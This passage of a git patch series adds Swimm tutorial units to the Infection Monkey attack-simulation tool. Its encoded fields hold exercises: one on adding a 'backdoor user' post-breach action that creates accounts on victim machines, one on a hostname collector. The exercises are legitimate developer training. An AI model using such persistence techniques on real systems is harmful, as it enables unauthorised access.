F9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
-    "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==",
-    "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu",
-    "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==",
-    "file_version": "1.0.2",
-    "app_version": "0.1.60"
+    "app_version": "0.1.90",
+    "file_version": "1.0.2"
 }
\ No newline at end of file

From 8595777f8fefdc5c8faa28e9048f713c32b5099e Mon Sep 17 00:00:00 2001
From: Swimm <swimm@swimm.io>
Date: Fri, 11 Sep 2020 18:28:24 +0530
Subject: [PATCH 05/30] Swimm: updated unit (OwcKMnALpn7tuBaJY1US)

---
 .swm/OwcKMnALpn7tuBaJY1US.swm | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm
index 8a3b1eedc..4e446cb48 100644
--- a/.swm/OwcKMnALpn7tuBaJY1US.swm
+++ b/.swm/OwcKMnALpn7tuBaJY1US.swm
@@ -1,11 +1,15 @@
 {
     "id": "OwcKMnALpn7tuBaJY1US",
     "name": "Add a new System Info Collector",
+    "dod": "QWRkJTIwYSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3IlMjB0aGF0JTIwY29sbGVjdHMlMjB0aGUlMjBtYWNoaW5lJTIwaG9zdG5hbWUu",
+    "description": "JTIzJTIwV2hhdCUyMGFyZSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3JzJTNGJTBBJTBBV2VsbCUyQyUyMHRoZSUyMG5hbWUlMjBwcmV0dHklMjBtdWNoJTIwZXhwbGFpbnMlMjBpdC4lMjBUaGV5JTIwYXJlJTIwTW9ua2V5JTIwY2xhc3NlcyUyMHdoaWNoJTIwY29sbGVjdCUyMHZhcmlvdXMlMjBpbmZvcm1hdGlvbiUyMHJlZ2FyZGluZyUyMHRoZSUyMHZpY3RpbSUyMHN5c3RlbSUyQyUyMHN1Y2glMjBhcyUyMEVudmlyb25tZW50JTJDJTIwU1NIJTIwSW5mbyUyQyUyMFByb2Nlc3MlMjBMaXN0JTJDJTIwTmV0c3RhdCUyMGFuZCUyMG1vcmUuJTIwJTBBJTBBJTIzJTIzJTIwV2hhdCUyMHNob3VsZCUyMEklMjBhZGQlM0YlMjAlMEElMEFBJTIwc3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvciUyMHdoaWNoJTIwY29sbGVjdHMlMjB0aGUlMjBob3N0bmFtZSUyMG9mJTIwdGhlJTIwc3lzdGVtLiUwQSUwQSUyMyUyMyUyMFRlc3QlMjBtYW51YWxseSUwQSUwQU9uY2UlMjB5b3UncmUlMjBkb25lJTJDJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIweW91ciUyMGNvbGxlY3RvciUzQSUwQSolMjBBcHBlYXJzJTIwaW4lMjB0aGUlMjBJc2xhbmQlMjBjb25maWd1cmF0aW9uJTJDJTIwYW5kJTIwaXMlMjBlbmFibGVkJTIwYnklMjBkZWZhdWx0JTBBKiUyMFRoZSUyMGNvbGxlY3RvciUyMGFjdHVhbGx5JTIwcnVucyUyMHdoZW4lMjBleGVjdXRpbmclMjBhJTIwTW9ua2V5LiUwQSolMjBSZXN1bHRzJTIwc2hvdyUyMHVwJTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHBsYWNlcyUzQSUwQSUyMCUyMColMjBUaGUlMjBpbmZlY3Rpb24lMjBtYXAuJTBBJTIwJTIwKiUyMFRoZSUyMHNlY3VyaXR5JTIwcmVwb3J0LiUwQSUyMCUyMColMjBUaGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMEElMEEqKlRoZXJlJTIwYXJlJTIwYSUyMGxvdCUyMG9mJTIwaGludHMlMjBmb3IlMjB0aGlzJTIwdW5pdCUyMC0lMjBkb24ndCUyMGJlJTIwYWZyYWlkJTIwdG8lMjB1c2UlMjB0aGVtISoq",
+    "summary": "U3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvcnMlMjBhcmUlMjB1c2VmdWwlMjB0byUyMGdldCUyMG1vcmUlMjBkYXRhJTIwZm9yJTIwdmFyaW91cyUyMHRoaW5ncyUyQyUyMHN1Y2glMjBhcyUyMFpUJTIwdGVzdHMlMjBvciUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMjBUYWtlJTIwYSUyMGxvb2slMjBhdCUyMHNvbWUlMjBvdGhlciUyMHRlY2huaXF1ZXMh",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTIwYiUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTBBaW5kZXglMjAxNzVhMDU0ZS4uM2I0NzhkYzklMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElNDAlNDAlMjAtMSUyQzUlMjAlMkIxJTJDNSUyMCU0MCU0MCUwQSUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlMjJBd3NDb2xsZWN0b3IlMjIlMEEtSE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTIySG9zdG5hbWVDb2xsZWN0b3IlMjIlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwQ29sbGVjdG9yJTIwbmFtZSUyMGdvZXMlMjBoZXJlLiUwQSUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyMCUzRCUyMCUyMkVudmlyb25tZW50Q29sbGVjdG9yJTIyJTBBJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUyMCUzRCUyMCUyMlByb2Nlc3NMaXN0Q29sbGVjdG9yJTIyJTBBJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTIwJTNEJTIwJTIyTWltaWthdHpDb2xsZWN0b3IlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBaW5kZXglMjBhZTk1NjA4MS4uNGRjNjcwMWElMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBJTQwJTQwJTIwLTElMkMxNiUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQS1pbXBvcnQlMjBzb2NrZXQlMEEtJTBBLWZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwSE9TVE5BTUVfQ09MTEVDVE9SJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnN5c3RlbV9pbmZvLnN5c3RlbV9pbmZvX2NvbGxlY3RvciUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTBBJTIwJTBBJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwJTBBLSUwQS1jbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTBBLSUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKCkuX19pbml0X18obmFtZSUzREhPU1ROQU1FX0NPTExFQ1RPUiklMEEtJTBBLSUyMCUyMCUyMCUyMGRlZiUyMGNvbGxlY3Qoc2VsZiklMjAtJTNFJTIwZGljdCUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjAlN0IlMjJob3N0bmFtZSUyMiUzQSUyMHNvY2tldC5nZXRmcWRuKCklN0QlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBaW5kZXglMjA1ZjExM2Y0YS4uNzA0M2UyMjclMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBJTQwJTQwJTIwLTElMkM3JTIwJTJCMSUyQzYlMjAlNDAlNDAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwQVpVUkVfQ1JFRF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMEElMjAlMEElNDAlNDAlMjAtMzclMkMxNSUyMCUyQjM2JTJDNyUyMCU0MCU0MCUyMFNZU1RFTV9JTkZPX0NPTExFQ1RPUl9DTEFTU0VTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyaW5mbyUyMiUzQSUyMCUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0